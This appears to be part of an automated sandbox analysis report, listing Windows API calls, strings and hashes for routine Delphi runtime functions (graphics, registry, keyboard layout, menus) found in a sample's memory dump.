API ID: FileInfoVersion$AddressHandleImageList_ModuleProcQuerySizeValueWrite
String ID: ImageList_WriteEx$comctl32.dll$comctl32.dll
API String ID: 4063495462-3125200627
Opcode ID: a2456b2e23899a7bd51e93feb2015d4eccdbe865438d50bef730c969a0cf0c59
Instruction ID: 42d6ce5cd861d1c174bafb0c7b96b6c1de6f29066bd77092ccbff40459864273
Opcode Fuzzy Hash: a2456b2e23899a7bd51e93feb2015d4eccdbe865438d50bef730c969a0cf0c59
Instruction Fuzzy Hash: 6621A1742207409FE714FB7ADCE6BA977BCDB41B40F144029F811EB2C9D6B2A9509F20

Uniqueness

Uniqueness Score: -1.00%

Function 032E3020 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetKeyboardLayoutNameA.USER32(00000000), ref: 032E3048

Part of subcall function 032D02BC: RegCloseKey.ADVAPI32(10940000,032D0198,00000001,032D023A,?,?,032D76D2,00000008,00000060,00000048,00000000,032D7777), ref: 032D02D0

Part of subcall function 032D0320: RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00020019,?,00000000,032D04BA), ref: 032D038C

Part of subcall function 032BDC04: SetErrorMode.KERNEL32 ref: 032BDC0E
Part of subcall function 032BDC04: LoadLibraryA.KERNEL32(00000000,00000000,032BDC58,?,00000000,032BDC76), ref: 032BDC3D

GetProcAddress.KERNEL32(?,KbdLayerDescriptor), ref: 032E30D9
FreeLibrary.KERNEL32(?,032E3113,?,00000000,032E3153), ref: 032E3106

Strings

Layout File, xrefs: 032E30A5
KbdLayerDescriptor, xrefs: 032E30D0
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\, xrefs: 032E308D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Library$AddressCloseErrorFreeKeyboardLayoutLoadModeNameOpenProc
String ID: KbdLayerDescriptor$Layout File$\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
API String ID: 3365787578-2194312379
Opcode ID: 8ba846377d851c12c3afae8a68413563aa3eb088c6b22035885ed69c4f01f63e
Instruction ID: c0580471e2cc92cf1e1d1eb28c46f627546dfc3df19e462df6c802b6dcdf6aff
Opcode Fuzzy Hash: 8ba846377d851c12c3afae8a68413563aa3eb088c6b22035885ed69c4f01f63e
Instruction Fuzzy Hash: A021927CE20348AFCF01EFA4C8519DEB7BAFB49700F508464E510AB710D7789985CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032DB190 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 032DB1E8
GetSystemMetrics.USER32(00000000), ref: 032DB1FD
GetSystemMetrics.USER32(00000001), ref: 032DB208
lstrcpyA.KERNEL32(?,DISPLAY), ref: 032DB232

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

Strings

DISPLAY, xrefs: 032DB229
GetMonitorInfoW, xrefs: 032DB1A8

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoW
API String ID: 2545840971-2774842281
Opcode ID: 6aafcf23d88f35272eebfba86ff3474c9c88be2a8b041eceaa2c517e78fd2065
Instruction ID: f473c21fb7b9f7452aa363b6bef41a87308bf36b1874410924870a3b05b03fd4
Opcode Fuzzy Hash: 6aafcf23d88f35272eebfba86ff3474c9c88be2a8b041eceaa2c517e78fd2065
Instruction Fuzzy Hash: EC11B1726113055FE720DF689898BABB7ECEF06710F01852DED8B87640D7B0A4848BE0

Uniqueness

Uniqueness Score: -1.00%

Function 032DB0BC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 032DB114
GetSystemMetrics.USER32(00000000), ref: 032DB129
GetSystemMetrics.USER32(00000001), ref: 032DB134
lstrcpyA.KERNEL32(?,DISPLAY), ref: 032DB15E

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

Strings

GetMonitorInfoA, xrefs: 032DB0D4
DISPLAY, xrefs: 032DB155

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoA
API String ID: 2545840971-1370492664
Opcode ID: ee6e29632e0ede4e3476d54e63f995824e93b6f63274986d392dc502093f8b6a
Instruction ID: 9ac274d52c6ca519b585ac2952e2a17799dd5fe389b547652e7dbff82434ab9b
Opcode Fuzzy Hash: ee6e29632e0ede4e3476d54e63f995824e93b6f63274986d392dc502093f8b6a
Instruction Fuzzy Hash: 8711D3766143499FE720DF699C84BA7B7ECEF05B51F014529ED5797240D3B0E484CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 032D4E8C Relevance: 10.6, APIs: 7, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 032D3CB4: GetObjectA.GDI32(?,00000004), ref: 032D3CCB
Part of subcall function 032D3CB4: GetPaletteEntries.GDI32(?,00000000,?,?), ref: 032D3CEE

GetDC.USER32(00000000), ref: 032D4ECA
CreateCompatibleDC.GDI32(?), ref: 032D4ED6
SelectObject.GDI32(?), ref: 032D4EE3
SetDIBColorTable.GDI32(?,00000000,00000000,?,00000000,032D4F3B,?,?,?,?,00000000), ref: 032D4F07
SelectObject.GDI32(?,?), ref: 032D4F21
DeleteDC.GDI32(?), ref: 032D4F2A
ReleaseDC.USER32(00000000,?), ref: 032D4F35

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Object$Select$ColorCompatibleCreateDeleteEntriesPaletteReleaseTable
String ID:
API String ID: 4046155103-0
Opcode ID: 5b360b366d8c0e3ba9cc3638ae0f5b3b36151fe7fd78c22e1f6eba240d890173
Instruction ID: 91f74bcafe5d2dd7dec6a64219b8140b16486eb7fa5851f728d5abbd183bc3ee
Opcode Fuzzy Hash: 5b360b366d8c0e3ba9cc3638ae0f5b3b36151fe7fd78c22e1f6eba240d890173
Instruction Fuzzy Hash: 8E115176E143496FDB10EBE8CC50EEEB3BCFB08740F4144A5B604DB250DAB499808750

Uniqueness

Uniqueness Score: -1.00%

Function 03301CA0 Relevance: 10.6, APIs: 7, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 03301CBB
WindowFromPoint.USER32(?,?), ref: 03301CC8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 03301CD6
GetCurrentThreadId.KERNEL32 ref: 03301CDD
SendMessageA.USER32(00000000,00000084,00000000,?), ref: 03301D06
SendMessageA.USER32(00000000,00000020,00000000,?), ref: 03301D18
SetCursor.USER32(00000000), ref: 03301D2A

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 45e9bd681223f8b42be8e94c5246bdc568ae7b26ec29ea122a9f3bcb04f0fc47
Instruction ID: 1745c25757c11f0bcb4a3593470004af844d83b0e167c5f9d50a83a23d99f90a
Opcode Fuzzy Hash: 45e9bd681223f8b42be8e94c5246bdc568ae7b26ec29ea122a9f3bcb04f0fc47
Instruction Fuzzy Hash: E601D22E51430075CA20EB688CC4BBB76B9DFC0B80F14445AFA849A191E665CC409326

Uniqueness

Uniqueness Score: -1.00%

Function 032BBFC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 032BBE3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 032BBE59
Part of subcall function 032BBE3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 032BBE7D
Part of subcall function 032BBE3C: GetModuleFileNameA.KERNEL32(032B0000,?,00000105), ref: 032BBE98
Part of subcall function 032BBE3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 032BBF2E

CharToOemA.USER32(?,?), ref: 032BBFFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 032BC018
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 032BC01E
GetStdHandle.KERNEL32(000000F4,032BC088,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 032BC033
WriteFile.KERNEL32(00000000,000000F4,032BC088,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 032BC039
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 032BC05B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 032BC071

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 74046fb7291a68ed8cb1e0ace04cb32076ade0769b4b13a4eac8d54a33a2d8a7
Instruction ID: ec40ec7147b8ff34ce03f0469c275ff43f1551061ed26ff462a4895ea3bb860a
Opcode Fuzzy Hash: 74046fb7291a68ed8cb1e0ace04cb32076ade0769b4b13a4eac8d54a33a2d8a7
Instruction Fuzzy Hash: 70115EBA1283006AD200F7A8CC85FDF77FC9B55780F404A19B754DB1D1DAB1E9848772

Uniqueness

Uniqueness Score: -1.00%

Function 032FCA84 Relevance: 9.2, APIs: 6, Instructions: 150COMMON

Download Yara Rule

APIs

FillRect.USER32(?,?), ref: 032FCAFD
GetClientRect.USER32(00000000,?), ref: 032FCB28
FillRect.USER32(?,?,00000000), ref: 032FCB47

Part of subcall function 032FC9F8: CallWindowProcA.USER32(?,?,?,?,?), ref: 032FCA32

BeginPaint.USER32(?,?), ref: 032FCBBF
GetWindowRect.USER32(?,?), ref: 032FCBEC
EndPaint.USER32(?,?,032FCC60), ref: 032FCC4C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Rect$FillPaintWindow$BeginCallClientProc
String ID:
API String ID: 901200654-0
Opcode ID: efd01d8176d7a0ff4bb95a7288e37b286c5bc9cf3b031c3dd43cee9834525993
Instruction ID: 01342145df41e5eed349d52c1353e024a2cc53e76effc608c8f69c7470044e77
Opcode Fuzzy Hash: efd01d8176d7a0ff4bb95a7288e37b286c5bc9cf3b031c3dd43cee9834525993
Instruction Fuzzy Hash: 3A51E479A2420DEFCB10EFA8C588E9DF7F8AF08710F1581A5E508EB251C774AA85DF54

Uniqueness

Uniqueness Score: -1.00%

Function 032BF8F8 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 032BF991
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 032BF9AD
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 032BF9E6
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 032BFA63
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 032BFA7C
VariantCopy.OLEAUT32(?,00000000), ref: 032BFAB1

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 476c448e660474ad88534672072dba9c1f632b1a46d2294bbd4b303a84928243
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: B551ED7991062AABCB26DB58DD90BD9B3FCAF08340F0441D5EA49EB211D674AFC48F61

Uniqueness

Uniqueness Score: -1.00%

Function 032CD6E4 Relevance: 9.1, APIs: 6, Instructions: 109threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 032CD6EF
GetCurrentThreadId.KERNEL32 ref: 032CD6FE

Part of subcall function 032CD6BC: ResetEvent.KERNEL32(00000288,032CD739), ref: 032CD6C2

EnterCriticalSection.KERNEL32(033302EC), ref: 032CD743
InterlockedExchange.KERNEL32(0331AAF0,?), ref: 032CD75F
LeaveCriticalSection.KERNEL32(033302EC,00000000,032CD88A,?,00000000,032CD8A9,?,033302EC), ref: 032CD7B8
EnterCriticalSection.KERNEL32(033302EC,032CD834,032CD88A,?,00000000,032CD8A9,?,033302EC), ref: 032CD827

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID:
API String ID: 2189153385-0
Opcode ID: 94e5daeb57e323866707f8d4f0bf9d12095b8259dae3c6719b22ce6372b2c08e
Instruction ID: e6b10bacf944d582e31e0c0d9937775e711749c2c38ecce33fcc489e28c3c7d8
Opcode Fuzzy Hash: 94e5daeb57e323866707f8d4f0bf9d12095b8259dae3c6719b22ce6372b2c08e
Instruction Fuzzy Hash: D731F234A34784AFDB11EFA9DC90A6DB7F8EB09700F5586B8E400DA621D7B55881CB21

Uniqueness

Uniqueness Score: -1.00%

Function 032D3F64 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 032D3FB2
GetSystemMetrics.USER32(0000000C), ref: 032D3FBE
GetDC.USER32(00000000), ref: 032D3FDA
GetDeviceCaps.GDI32(00000000,0000000E), ref: 032D4001
GetDeviceCaps.GDI32(00000000,0000000C), ref: 032D400E
ReleaseDC.USER32(00000000,00000000), ref: 032D4047

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: 0e7975f63dd0fa00b2479d7cbbd113b45ea15a78a49f728db61c039cf49da8fb
Instruction ID: ea7bd71e46c3c9d253f21891747d5e38d5a314517af0950632071c04c7026a3f
Opcode Fuzzy Hash: 0e7975f63dd0fa00b2479d7cbbd113b45ea15a78a49f728db61c039cf49da8fb
Instruction Fuzzy Hash: DD315078A10349EFDB14EFA5C880AADBBB5FF89350F148565E918AF780C6719D80CB61

Uniqueness

Uniqueness Score: -1.00%

Function 032D43C4 Relevance: 9.1, APIs: 6, Instructions: 65windowCOMMON

Download Yara Rule

APIs

Part of subcall function 032D4270: GetObjectA.GDI32(?,00000054), ref: 032D4284

CreateCompatibleDC.GDI32(00000000), ref: 032D43E6
SelectPalette.GDI32(?,?,00000000), ref: 032D4407
RealizePalette.GDI32(?), ref: 032D4413
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 032D442A
SelectPalette.GDI32(?,00000000,00000000), ref: 032D4452
DeleteDC.GDI32(?), ref: 032D445B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Palette$Select$BitsCompatibleCreateDeleteObjectRealize
String ID:
API String ID: 1221726059-0
Opcode ID: 8dc6e3218ec3d95a9795c989c6361f6e4e6d313ececc3eaeb10856c2c75f9401
Instruction ID: e8c7eff6a8d963586951495b21706d6bae9082094bd3de1274c06f2c41f73d06
Opcode Fuzzy Hash: 8dc6e3218ec3d95a9795c989c6361f6e4e6d313ececc3eaeb10856c2c75f9401
Instruction Fuzzy Hash: DF114F79A143047FDB10EBE9CC85F9EB7FCEB48740F5584A4B524EB680DAB499808764

Uniqueness

Uniqueness Score: -1.00%

Function 032D3C10 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 032D3C29
SelectObject.GDI32(00000000,00000000), ref: 032D3C32
GetDIBColorTable.GDI32(00000000,00000000,00000100,?,00000000,00000000,00000000,00000000,?,?,032D61AF,?,?,?,?,032D4D27), ref: 032D3C46
SelectObject.GDI32(00000000,00000000), ref: 032D3C52
DeleteDC.GDI32(00000000), ref: 032D3C58
CreatePalette.GDI32 ref: 032D3C9F

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateObjectSelect$ColorCompatibleDeletePaletteTable
String ID:
API String ID: 2515223848-0
Opcode ID: 06dcec53ca48781ffa93735ac4e44d2594361444003ffa06598b8e97dd5d723a
Instruction ID: c84ac9686e29fe21f2739ad8dc2c9cf65a4fccc03f0df12697470554dada64d9
Opcode Fuzzy Hash: 06dcec53ca48781ffa93735ac4e44d2594361444003ffa06598b8e97dd5d723a
Instruction Fuzzy Hash: 0601966A72430166D614E765CC46BAB72B89FC0790F19C819B6849F281E6B8C8848397

Uniqueness

Uniqueness Score: -1.00%

Function 032D32F8 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 032D2AC0: CreateBrushIndirect.GDI32(?), ref: 032D2B6B

UnrealizeObject.GDI32(00000000), ref: 032D3304
SelectObject.GDI32(?,00000000), ref: 032D3316
SetBkColor.GDI32(?,00000000), ref: 032D3339
SetBkMode.GDI32(?,00000002), ref: 032D3344
SetBkColor.GDI32(?,00000000), ref: 032D335F
SetBkMode.GDI32(?,00000001), ref: 032D336A

Part of subcall function 032D1D04: GetSysColor.USER32(?), ref: 032D1D0E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 26b5bad37964a99be44aea8d5021ac51d4fdb6d7253912d4b1c6f075e744b768
Instruction ID: 3e2f78cd72d9d224c38ac9ffbe7c6e9245e122ce4ba6ed0305ff1051c7dd880c
Opcode Fuzzy Hash: 26b5bad37964a99be44aea8d5021ac51d4fdb6d7253912d4b1c6f075e744b768
Instruction Fuzzy Hash: 41F039BD620302ABDE54FFB8D9C5E4B77ACAF082457044490B904DF556CAE5E8909731

Uniqueness

Uniqueness Score: -1.00%

Function 032B36D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 032B36F2
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,032B3741,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 032B3725
RegCloseKey.ADVAPI32(?,032B3748,00000000,?,00000004,00000000,032B3741,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 032B373B

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 032B36E8
FPUMaskValue, xrefs: 032B371C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: f2d47bddf579ab65963322c3324eb2db3f4aa9a4991b205470bb5f1188d17c44
Instruction ID: 338e5e97f50a8b3651324075a71d5bea33b814edf13473b95e5e2c8b3619deeb
Opcode Fuzzy Hash: f2d47bddf579ab65963322c3324eb2db3f4aa9a4991b205470bb5f1188d17c44
Instruction Fuzzy Hash: 6E01B5BD960358BEDB11EB90CD42BFD73FCDB08B51F5000A2BB00D6981E6796550DB54

Uniqueness

Uniqueness Score: -1.00%

Function 032FBB50 Relevance: 7.7, APIs: 5, Instructions: 181COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00000000,00000060,00000000), ref: 032FBC23
MulDiv.KERNEL32(?,00000000,00000000), ref: 032FBCB2
MulDiv.KERNEL32(?,00000000,00000000), ref: 032FBCE1
MulDiv.KERNEL32(?,00000000,00000000), ref: 032FBD10
MulDiv.KERNEL32(?,00000000,00000000), ref: 032FBD33

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e474a40ccc64a248e28924046ae9f7e049ee45dca20aef141c3d57fca7df9e
Instruction ID: ac58d094c9d8f2b692dcf9a50470b2691f3e76e576fc8c6d41f3e980b081ebea
Opcode Fuzzy Hash: 01e474a40ccc64a248e28924046ae9f7e049ee45dca20aef141c3d57fca7df9e
Instruction Fuzzy Hash: FD819774A10205EFDB44DB98C589EADB7F9AF49300F6941F5A908EB365CB70AE80DB50

Uniqueness

Uniqueness Score: -1.00%

Function 032FD6F4 Relevance: 7.7, APIs: 5, Instructions: 174windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 032FD818
SetMenu.USER32(00000000,00000000), ref: 032FD835
SetMenu.USER32(00000000,00000000), ref: 032FD86A
SetMenu.USER32(00000000,00000000), ref: 032FD886

Part of subcall function 032B669C: LoadStringA.USER32(00000000,0000FFF3,?,00001000), ref: 032B66CE

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000037), ref: 032FD8CD

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Menu$LoadStringWindow
String ID:
API String ID: 1738039741-0
Opcode ID: 5a136c835533ec95ca29242527e2464f9efc67a111beee8b38f3baeae9b4f7ec
Instruction ID: 23c1797e5ed372b324123e8c017dd9f03d439c9ad7e029e5e9bc04f8d3f83d41
Opcode Fuzzy Hash: 5a136c835533ec95ca29242527e2464f9efc67a111beee8b38f3baeae9b4f7ec
Instruction Fuzzy Hash: 88519238A243054FDB25FB389894B9AF7986F45304F0845B5EE45DF29ACBB4D8C68750

Uniqueness

Uniqueness Score: -1.00%

Function 032DFF48 Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

DrawEdge.USER32(00000000,?,00000006,00000002), ref: 032E0017
OffsetRect.USER32(?,00000001,00000001), ref: 032E0068
DrawTextA.USER32(00000000,00000000,?,?,?), ref: 032E00A1
OffsetRect.USER32(?,000000FF,000000FF), ref: 032E00AE
